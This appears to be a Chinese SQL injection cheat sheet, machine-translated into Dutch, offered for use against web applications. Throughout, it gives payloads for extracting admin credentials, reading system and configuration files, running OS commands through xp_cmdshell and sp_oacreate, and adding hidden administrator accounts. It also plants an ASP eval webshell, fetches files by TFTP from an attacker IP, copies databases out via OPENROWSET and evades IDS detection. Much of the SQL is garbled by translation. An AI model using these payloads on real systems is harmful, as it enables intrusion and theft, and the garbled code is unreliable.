MSSQL cross-database queries (stinkend voedsel!) Donker)
Haal elke druppel MS SQL eruit
SQL-instructiereferenties en recordsetobjecten worden in detail uitgelegd
Over opgeslagen procedures in SQL Server
Maak een webshell met mssql-back-up
SQL_Injection geavanceerde toepassingen
Cross-site SQL-injectie (laokai)
Vreemde SQL-injectie (AMANL)
Geavanceerde SQL-injectie in SQL Server-toepassingen
Hoe gebruik je SQL-injectie om mappen te doorlopen
Walkthrough van SQL-injectietechnieken (Vertaler: demonalex)
Sommige aanvallen op SQL-databases
SQL Injection Attack Technique (JSW)
SQL_Injection Geavanceerde Toepassingen (APACHY)
Ongebruikelijke methoden voor SQL-injectie (Guilin-veteraan)
Maak een back-up van een granaat
Praat over php+mysql injectie-statementstructuur (Heyhehehehe·≯Super· Hei)
Geavanceerde SQL-injectie met MySQL(angel)
L'injection (My)SQL via PHP
Oracle SQL Language
SQL handmatige injectie-encyclopedie
Vereisten vereisen tools: SQL Query Analyzer en SqlExec Sunx Version ============================================================================================== 1. Bepaal of er een injectiepunt is ; en 1=1 en 1=2 2. Denk dat de naam van de tabel niets meer is dan admin, admin, gebruikerswachtwoord, enzovoort: en 0<>(selecteer telling(*) van *) en 0<>(selecteer aantal(*) vanuit beheerder) — Bepaal of de beheertabel bestaat 3. Raad het aantal accounts: Als je 0 tegenkomt< ga je terug naar de juiste pagina< ga je terug naar de foutpagina om aan te geven dat het aantal accounts 1 is. en 0<(selecteer aantal(*) vanuit de beheerder) en 1<(selecteer aantal(*) vanuit de administratie) 4. Raad de naam van het veld. Voeg de veldnaam die we denken toe in de lin( ) haakjes. en 1=(selecteer aantal(*) vanuit de administratie waar len(*)>0)– en 1=(selecteer aantal(*) vanuit admin waar len(gebruikersnaam veldnaam)>0) en 1=(selecteer aantal(*) vanuit admin waar len(_blank>wachtwoord veldnaam)>0) 5. Raad de lengte van elk veld Raad de lengte is om >0 te transformeren totdat de juiste pagina wordt teruggegeven en 1=(selecteer aantal(*) vanuit admin waar len(*)>0) en 1=(selecteer aantal(*) van admin waar len(name)>6) fout en 1=(selecteer aantal(*) vanuit admin waar len(name)>5) De juiste lengte is 6 en 1=(selecteer aantal(*) van admin waar len(naam)=6) correct is en 1=(selecteer aantal(*) van de admin waar len(password)>11) correct is en 1=(selecteer aantal(*) vanuit de beheerder waarbij len(password)>12) foutlengte 12 is en 1=(selecteer aantal(*) vanuit admin waar len(password)=12) correct is 6. Raad de personages en 1=(selecteer aantal(*) vanuit admin waar links(naam,1)=a) — Raad het eerste cijfer van het gebruikersaccount en 1=(selecteer aantal(*) vanuit admin waar links(naam,2)=ab)—Raad het tweede cijfer van het gebruikersaccount Voeg gewoon één karakter tegelijk toe om te raden, raad genoeg cijfers als je net hebt geraden, en het accountnummer komt eruit (1) Raad de naam van de tafel
Gebruikte zinnen: en bestaat (selecteer * uit tabelnaam)
Bijvoorbeeld: en bestaat (selecteer * uit admin)
Als de pagina correct echoot, betekent dit dat de tabelnaam die we hier raden correct is, en als de pagina fout is, betekent dat dat de tabelnaam die we hier hebben geschreven fout is
, verander dan de naam van de tafel en blijf raden totdat je het raadt.
Over het algemeen zijn veelgebruikte tabelnamen admin, beheer, gebruiker, of het in de toolrun zetten (2) Raad het veld
Gebruikte zinnen: en bestaat (selecteer veldnaam uit tabelnaam)
Bijvoorbeeld: en bestaat (selecteer gebruikersnaam van de beheerder)
Hier, ervan uitgaande dat de admin-tabel de tabel is die ik hierboven correct heb geraden, wil ik bepalen of het gebruikersnaamveld bestaat, ik moet deze uitspraak gebruiken, als de pagina
Als de face echo correct is, betekent dit dat de veldnaam die we hier raden correct is, en als de pagina fout is, betekent dat dat de veldnaam die we hier hebben geschreven fout is
, verander dan de naam van het veld en blijf raden totdat je het raadt.
Over het algemeen omvatten veelvoorkomende veldnamen gebruikersnaam, wachtwoord, gebruiker, pass, naam, pass, pwd, usr, psd en andere velden (3) Orden door
order by is om de som te krijgen van het aantal velden op die pagina, ter voorbereiding op de volgende gezamenlijke query (4) Union Select
1. Als je joint query ondersteunt, zoek dan de displaybit http://www.xxx.com/product_show.asp?id=1 en 1=2 union select
1,2,3,4,5,6,7,8,9,10,11 Stel dat de weergavebits 5,6 zijn. Vervolgens hoeven we alleen de veldnamen die overeenkomen met de gebruikersnaam en het wachtwoord van de beheerder te vervangen door de positie van het weergavebit hier
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 van de beheerder vond de achtergrondlogin 2. Als gezamenlijke query niet wordt ondersteund De gebruikersnaam en het wachtwoord van de beheerder kunnen niet worden verkregen zonder gezamenlijke zoekopdracht - met Ascii-woordelijke decodering Twee Gebruik order by om het aantal bits in de tabel te beoordelen, en als het niet werkt, gebruik union select om ze één voor één te rangschikken, hier gaan we uit van 8 bits Drie Gebruik een gezamenlijke query om de weergavebits te bepalen Vier Gebruik de displaybit om de databasenaam te vinden, databaseversie, 5.0 of hoger kan worden geïnjecteerd
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, versie()),8 Vijf Met de databasenaam kun je beginnen met het tabelnaamschema = gevolgd door de HEX-waarde van de databasenaam, en de tabelnaam raden
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +van+information_schema.columns+waar+ table_schema=0x666C6965725F6462617365 Zes De geanalyseerde tabelnaam bepaalt de HEX-waarde van de tabelnaam van de beheerder=tabelnaam, en raadt de velden in de tabel http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DUIDELIJK
+column_name),8+ van+information_schema.columns+waar+table_name=0x7075625F7765626D6173746572 Zeven Nadat we de velden in de beheertabel hebben opgehaald, laten we de inhoud van de velden opzoeken http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DUIDELIJK
+gebruikersnaam, 0x5f,userpwd),8+from+pub_webmaster Acht Tool scant de achtergrond: Log in om de trojan te uploaden nadat je hem gevonden hebt, en als je het robots.txt-bestand niet kunt vinden, kun je er toegang toe krijgen Negen Als je de achtergrond niet kunt vinden, wordt het wachtwoord van de MYSQL-beheerder onthuld http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user,password),8+from+mysql.user Tien Zoek willekeurig toegang tot een pad, en de feedback is de 404 standaardpagina van IIS6, wat aangeeft dat de websiteserver is: Windows+IIS6+php+MySql-omgeving c:\\windows\\system32\\inetsrv\MetaBase.xml\ Dit pad kan de websiteconfiguratie-informatie ophalen. Construct-statements http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Elf Analyseer de code en vind het achtergrondadres In de eerste stap moeten we de lengte van de velden in de tabel krijgen Gebruikte uitspraken: en (selecteer top 1 len(veldnaam) uit tabelnaam)>0 Zoals wat: en (selecteer top 1 len(admin_name) van de admin)>0 De pagina wordt normaal weergegeven, de lengte van het veld admin_name is groter dan 0, en ik zal indienen:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 De pagina toont een foutmelding dat het veld tussen 0 en 10 ligt, en de lengte is 5 volgens de dichotomie Met dezelfde methode om de lengte van het veld voor het wachtwoord van de beheerder te bepalen, krijg ik een lengte van 16 Stap 2 Laten we nu doorgaan naar de tweede stap: neem een bepaald teken in het veld en haal de ASCII-code van dat teken op, die wordt gebruikt
Verklaring: en (selecteer top 1 asc(mid(veldnaam, N,1)) uit de tabelnaam)>0 Laat me deze zin apart bekijken, eerst de binnenste mid(gebruikersnaam, 1,1) functie, dat is het eerste teken van het admin_name veld, N
geeft aan dat de eerste paar tekens moeten worden onderschept, Dan vertegenwoordigt de buitenste asc()-functie, die de door de mid-functie onderschepte tekens omzet in ASCII-code, de buitenste bovenste 1, het returnveld van de eerste plaats
Een plaat dan, De ">0" aan het einde is bedoeld om de geconverteerde ASCII-code met dit getal te vergelijken en uiteindelijk de onderschepping te krijgen door de laatste waarde voortdurend te veranderen
Krijg de specifieke informatie over dit personage ASCII-code Inzending:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 De pagina wordt normaal weergegeven, wat aangeeft dat de ASCII-code van dit teken groter is dan 30. Inzending:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 De pagina wordt normaal weergegeven, wat aangeeft dat de ASCII-code van dit teken groter is dan 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 De ASCII-code die ik uiteindelijk voor dit personage heb gekregen is 97 Vergelijk de ASCII-tabel: Er kan worden geconcludeerd dat het eerste teken "a" is. Daarna beoordeel ik de ASCII-code van het tweede karakter.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 De pagina wordt normaal weergegeven, wat aangeeft dat de ASCII-code van het teken groter is dan 90, en de laatste waarde wordt altijd gewijzigd Met dezelfde methode werd het wachtwoord van de beheerder opgeleverd, en het resultaat dat ik kreeg was:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 en 1=(selecteer top 1 count(*) van Admin waarbij Asc(mid(pass,5,1))=51) – Deze query-instructie kan de Chinese gebruiker raden en _blank> wachtwoord. Vervang gewoon de volgende nummers door de Chinese ASSIC-code
Converteer naar personages.
groeperen door users.id met 1=1–www.myhack58.com Groeperen op users.id, gebruikersgebruikersnaam, gebruikerswachtwoord, gebruikersgebruikersrechten met 1=1– ; Insert in users values (666, attacker, foobar, 0xffff)–
VAKBOND SELECT TOP 1 COLUMN_blank>_NAME UIT INFORMATION_blank>_SCHEMA. KOLOMMEN Waar
TABLE_blank>_NAME=logintable- VAKBOND SELECT TOP 1 COLUMN_blank>_NAME UIT INFORMATION_blank>_SCHEMA. KOLOMMEN Waar
TABLE_blank>_NAME=logintabel Waar COLUMN_blank>_NAME NIET IN (login_blank>_id)- VAKBOND SELECT TOP 1 COLUMN_blank>_NAME UIT INFORMATION_blank>_SCHEMA. KOLOMMEN Waar
TABLE_blank>_NAME=logintabel Waar COLUMN_blank>_NAME NIET IN
(login_blank>_id,login_blank>_name)- UNION Selecteer TOP 1 login_blank>_name VAN inlogtabel- UNION Selecteer TOP 1 wachtwoord UIT de inlogtabel waar login_blank>_name=Rahul– Kijk naar de patch die door de _blank> server is gespeeld = verkeerde SP4 patch zwarte balk veiligheidsnet en 1=(selecteer @@VERSION)–
Kijk naar de rechten van het _blank> database-verbindingsaccount, en het geeft normaal terug, wat bewijst dat het de sysadmin-toestemming is van de _blank> serverrol. en 1=(Selecteer IS_blank>_SRVROLEMEMBER(sysadmin))–
Bepaal of het databaseaccount _blank> verbonden. (Gebruik SA-account om verbinding te maken en normaal terug te brengen = bewijs dat het verbonden account SA is) en sa=(Selecteer System_blank>_user)– en user_blank>_name()=dbo– en 0<>(selecteer user_blank>_name()–
Kijk of xp_blank>_cmdshell verwijdert en 1=(Selecteer aantal(*) VAN master.dbo.sysobjects Waar xtype = X EN naam = xp_blank>_cmdshell)
–
xp_blank>_cmdshell wordt verwijderd, hersteld en ondersteunt absolute padherstel ; UITVOEREND master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== database-toestemming wordt blootgesteld aan de fysieke padcode van de website
========================================================================== 1、droptafel [jm_tmp]; maak tabel [jm_tmp](waarde navrchar(4000) null, data nvarchar(4000)
null) -- Tabel aanmaken
2、 verwijderen [jm_tmp]; Voeg [jm_tmp] uitvoerend master.dbo.xp_regread in
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Voeg de sitemap in in het tabelveld
3、en (selecteer top 1 cast([data] als nvarchar(4000) char(124) uit [jm_tmp] bestel door [data]
beschrijving)=0 '//Blootgesteld veld
4. Drop table [jm_tmp] -- verwijder deze tabel. voor het commando om de granaat te halen
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Andere stationspaden ======================load_file() Veelgebruikte gevoelige informatie =========================================== 1、 vervang(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、vervang(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32)) De bovenstaande twee zijn bedoeld om een PHP-bestand te bekijken dat de code volledig weergeeft. Soms worden sommige tekens niet vervangen, zoals "<" in plaats van "space" die terugkeert
Webpagina. En de code kan niet worden bekeken.
3. load_file(char(47)) kan de rootdirectory van FreeBSD- en Sunos-systemen weergeven
4. Bekijk het Linux APACHE virtuele host configuratiebestand in /etc/httpd/conf/httpd.conf of /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf of C:\apache\conf\httpd.conf om WINDOWS te bekijken
System Apache-bestand
6. c:/Resin-3.0.14/conf/resin.conf Bekijk de resinbestandconfiguratie-informatie van de website ontwikkeld door jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf om de JSP virtuele host te bekijken die op het Linux-systeem is geconfigureerd
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode-pad
11. C:\Windows\system32\inetsrv MetaBase.xml\ Bekijk het virtuele hostconfiguratiebestand van IIS
12. /usr/local/resin-3.0.22/conf/resin.conf om het RESIN-configuratiebestand voor 3.0.22 te bekijken
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Hetzelfde als hierboven
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuele host
15. /etc/sysconfig/iptables hangt af van het firewallbeleid
16. /usr/local/app/php5 b/php.ini PHP-equivalente instellingen
17. /etc/my.cnf MYSQL configuratiebestand
18. /etc/redhat-release systeem versie van Red Hat
19 、C:\mysql\data\mysql\user. MYD bestaat in het gebruikerswachtwoord in het MYSQL-systeem
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 om IP te bekijken.
21. /usr/local/app/php5 b/php.ini //PHP-gerelateerde instellingen
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuele website-instellingen
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue toont de distributie-informatie van de Linux-kernel
26、/etc/ftpuser
27. Controleer het operatielogbestand onder LINUX user.bash_history of .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Experimenteer zelf met reverse PING ; gebruik master; verklaar @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s uit; Uitvoerend
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Een account toevoegen ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32 cmd.exe\ /c net user jiaoniang$ 1866574 /add–
Maak een virtuele directory E-disk aan: ; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o exec sp_blank>_oamethod @o out, run
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Toegangsattributen: (met schrijven naar een webshell) Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o exec sp_blank>_oamethod @o out, run
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Speciale _blank> truc voor het bursten van de bibliotheek: :%5c=\ of verander %5 met / en \ om te committen en 0<>(selecteer de top 1 paden uit Newtable)–
Krijg de databasenaam (van 1 tot 5 zijn de ID's van het systeem, en je kunt ze boven de 6 beoordelen) en 1=(selecteer naam uit master.dbo.sysdatabases waarbij dbid=7)– en 0<>(selecteer aantal(*) uit master.dbo.sysdatabases waarbij name>1 en dbid=6) Dien dbid in op de beurt = 7,8,9.... Vind meer _blank> databasenamen
en 0<>(selecteer de bovenste naam 1 uit bbs.dbo.sysobjects waarbij xtype=U) in een tabel wordt geburst met de aanname van admin en 0<>(selecteer de bovenste naam 1 uit bbs.dbo.sysobjects waarbij xtype=u en naam niet in (Admin)).
Andere tafels. en 0<>(selecteer count(*) uit bbs.dbo.sysobjects waar xtype=u en name=admin en uid>(str(id))) De numerieke waarde van de UID wordt verondersteld 18779569 uid=id te zijn en 0<>(selecteer de top 1 naam uit bbs.dbo.syscolumns waar id=18779569) een veld van admin verkrijgen, false
Ingesteld op user_blank>_id en 0<>(selecteer de naam top 1 uit bbs.dbo.syscolumns waarbij id=18779569 en naam niet in de kolommen staan (id,...)) om andere vakgebieden bloot te leggen en 0<(selecteer user_blank>_id uit BBS.dbo.admin waar gebruikersnaam>1) om de gebruikersnaam te krijgen Op je beurt kun je _blank> wachtwoord krijgen。。。。。 Stel dat er velden zijn zoals user_blank>_id gebruikersnaam, wachtwoord, enzovoort
en 0<>(selecteer aantal(*) uit master.dbo.sysdatabases waarbij name>1 en dbid=6) en 0<>(selecteer de bovenste 1-naam uit bbs.dbo.sysobjects waarbij xtype=U) om de tabelnaam te krijgen en 0<>(selecteer de bovenste 1 naam uit bbs.dbo.sysobjects waarbij xtype=u en naam niet in(Adres)) en 0<>(selecteer count(*) uit bbs.dbo.sysobjects waar xtype=u en name=admin en uid>(str(id)))
Bepaal de id-waarde en 0<>(selecteer de naam top 1 uit BBS.dbo.syscolumns waarbij id=773577794) alle velden
?id=-1 unie selecteer 1,2,3,4,5,6,7,8,9,10,11,12,13,* van admin ?id=-1 unie selecteer 1,2,3,4,5,6,7,8,*,9,10,11,12,13 vanuit de beheerder (unie, toegang is ook eenvoudig te gebruiken)
Haal het WEB-pad ; Maak een tabel [DBO]. [wissel] ([swappass][char](255)); – en (selecteer top 1 swappass uit swap)=1– ; Maak TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declareer @test varchar(20) exec
Meester.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT invoegen in path(path)-waarden(@test)– ; gebruik ku1; – ; maak table cmd (STR-afbeelding); – Maak een tabel-cmd aan van het afbeeldingstype 1. De manier om het xp_cmdshell extensieproces te verwijderen is door de volgende verklaring te gebruiken:
als bestaat (selecteer * uit dbo.sysobjects waar id=object_id(N'[dbo].[ xpcmdshell]') en
OBJECTPROPERTY(id,N'IsExtendedProc')=1) exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. De manier om xp_cmdshell extensieproces toe te voegen is door de volgende verklaring te gebruiken:
(1) SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Vul eerst %'s in in de Formaatoptie van SqlExec Sunx Version en voer deze in de CMD-optie
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
verwijderen
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll' Er zijn xp_blank>_cmdshell testprocessen: ; Uitvoerend meester.. xp_blank>_cmdshell regie ; uitvoerend master.dbo.sp_blank>_addlogin jiaoniang$; – Voeg SQL-accounts toe ; exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; – ; uitvoerend master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Uitvoerend meester.. xp_blank>_servicecontrol begint, plan om _blank> dienst te starten Uitvoerend meester.. xp_blank>_servicecontrol begin, server ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c netuser jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Uitvoerend meester.. xp_blank>_cmdshell tftp -i youip get file.exe – Upload bestanden met TFTP
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; verklaar @a; verzameling @a=db_blank>_name(); Back-updatabase @a naar schijf=je IP Je gedeelde map bak.dat Als het beperkt is, ja. selecteer * uit openrowset(_blank>sqloledb,server; sa; , selecteer OK! Uitvoerend
master.dbo.sp_blank>_addlogin hax)
Querystructuur: Selecteer * VAN nieuws Waar id=... EN onderwerp=... EN ..... adminand 1=(selecteer aantal(*) van [user] waar gebruikersnaam=slachtoffer en rechts(links(userpass,01),1)=1)
en userpass <> selecteer 123; – ; gebruik master; – :a of naam zoals fff%; – Toont een gebruiker genaamd ffff. en 1<>(selecteer aantal (e-mail) van [gebruiker]); – ; Werk [gebruikers] Stel e-mail in=(Selecteer de naam top 1 uit Sysobjects waar xtype=u en status>0) waar
naam=FFFF; – ; Werk [gebruikers] Stel e-mail bij =(Selecteer top 1 ID uit Sysobjects waar xtype=u en name=ad) waar
naam=FFFF; – ; [gebruikers] instellen e-mail=(selecteer de bovenste naam 1 uit sysobjects waar xtype=u en id>581577110)
waarbij naam=ffff; – ; Werk [gebruikers] Stel e-mail in=(selecteer de bovenste 1 count(id) uit wachtwoord) waar name=ffff; – ; Werk [gebruikers] Stel e-mail in=(Selecteer top 1 PWD uit wachtwoord waar ID=2) waar naam=FFFF; – ; Werk [gebruikers] Stel e-mail in=(Selecteer de bovenste 1 naam uit het wachtwoord waar ID=2) waar naam = ffff; – De bovenstaande instructie is bedoeld om de eerste gebruikerstabel in de _blank>database te krijgen en de tabelnaam in het e-mailveld van de ffff-gebruiker in te voeren. Door het gebruikersprofiel van ffff te bekijken, kun je de eerste tabel krijgen die AD heet Vervolgens krijg je de ID van deze tabel volgens de tabelnaam en om de naam van de tweede tabel te krijgen
Insert in users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Invoegen in gebruikerswaarden (667,123,123,0xffff)– Invoegen in gebruikerswaarden (123, admin–, wachtwoord, 0xffff)– ; en user>0 ; en (selecteer aantal(*) uit sysobjects)>0 ; en (selecteer count(*) uit mysysobjects)>0 // voor de access_blank> database
Noem de naam van de datatabel ; Update AAA-set AAA=(selecteer de naam top 1 uit sysobjects waarbij xtype=u en status>0); – Hier wordt de eerste tabelnaam bijgewerkt naar het veld AAA. Lees de eerste tabel, en de tweede tabel kan zo worden gelezen (voeg toe en naam na de voorwaarde<> de naam van de tabel die je net hebt gekregen). ; Update AAA set AAA=(selecteer de naam top 1 uit sysobjects waarbij xtype=u en status>0 en
naam<>stem); – Dan id=1552 en bestaat (selecteer * uit aaa waar aaa>5) Lees de tweede tabel voor en lees die één voor één totdat er geen meer is. Het leesveld ziet er als volgt uit: ; update aaa set AAA=(selecteer top 1 col_blank>_name(object_blank>_id(tabelnaam),1)); – Dan krijgt id=152 en bestaat (selecteer * uit aaa waarbij aaa>5) krijgt een foutmelding en krijgt de veldnaam ; update aaa set AAA=(selecteer top 1 col_blank>_name(object_blank>_id(tabelnaam),2)); – Dan krijgt id=152 en bestaat (selecteer * uit aaa waarbij aaa>5) krijgt een foutmelding en krijgt de veldnaam
[Naam van de datatabel ophalen] [Werk de veldwaarde bij naar de tabelnaam, en lees vervolgens de waarde van dit veld uit om de tabelnaam te krijgen] Tabel Naam Setveld bijwerken=(Selecteer de bovenste 1 naam uit SysObjects waarbij xType=U en Status>0 [ en naam<>
De tabelnaam die je krijgt Zoek één plus één]) [ waar voorwaarde ] selecteer de bovenste 1-naam uit sysobjects waar xtype=u en
status>0 en naam niet in(tabel1,tabel2,...) Het aanmaken van een databasebeheerdersaccount en een systeembeheerdersaccount _blank> _blank> kwetsbaarheidsinjectie via SQLSERVER [Het huidige account moet de SYSADMIN-groep zijn]
[Haal naam van het datatabel veld op] [Werk de veldwaarde bij naar de veldnaam, en lees vervolgens de waarde van dit veld uit om de veldnaam te krijgen] Tabel Naam Bijwerken Set Veld=(Selecteer Top 1 col_blank>_name(object_blank>_id (Naam van de datatabel om op te vragen), veldkolom
Bijvoorbeeld: 1) [ waar de voorwaarde ]
IDS-detectie omzeilen [met variabelen] ; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Open de externe _blank>database Basissyntaxis selecteer * uit OPENROWSET(SQLOLEDB, server=servernaam; uid=sa; pwd=123, selecteer * uit tabel1 ) Parameters: (1) OLEDB Provider naam 2. De verbindingsstringparameter kan elke poort zijn die je moet verbinden, zoals selecteer * uit OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,
Selecteer * uit de tabel 3. Kopieer de volledige _blank>-database van de doelhost en voeg alle externe tabellen in in de lokale tabel.
Basissyntaxis: insert in OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, selecteer * uit tabel1) selecteer
* uit tabel2 Deze regelinstructie kopieert alle gegevens van de table2-tabel op de doelhost naar de table1-tabel in de externe _blank>-database. Passende reparaties in praktische toepassing
Verander het IP-adres en de poort van de verbindingsstring zodat ze wijzen waar je het nodig hebt, bijvoorbeeld: insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer
* uit tabel1) selecteer * uit tabel2 insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer
* van _blank>_sysdatabases) selecteer * uit master.dbo.sysdatabases insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer
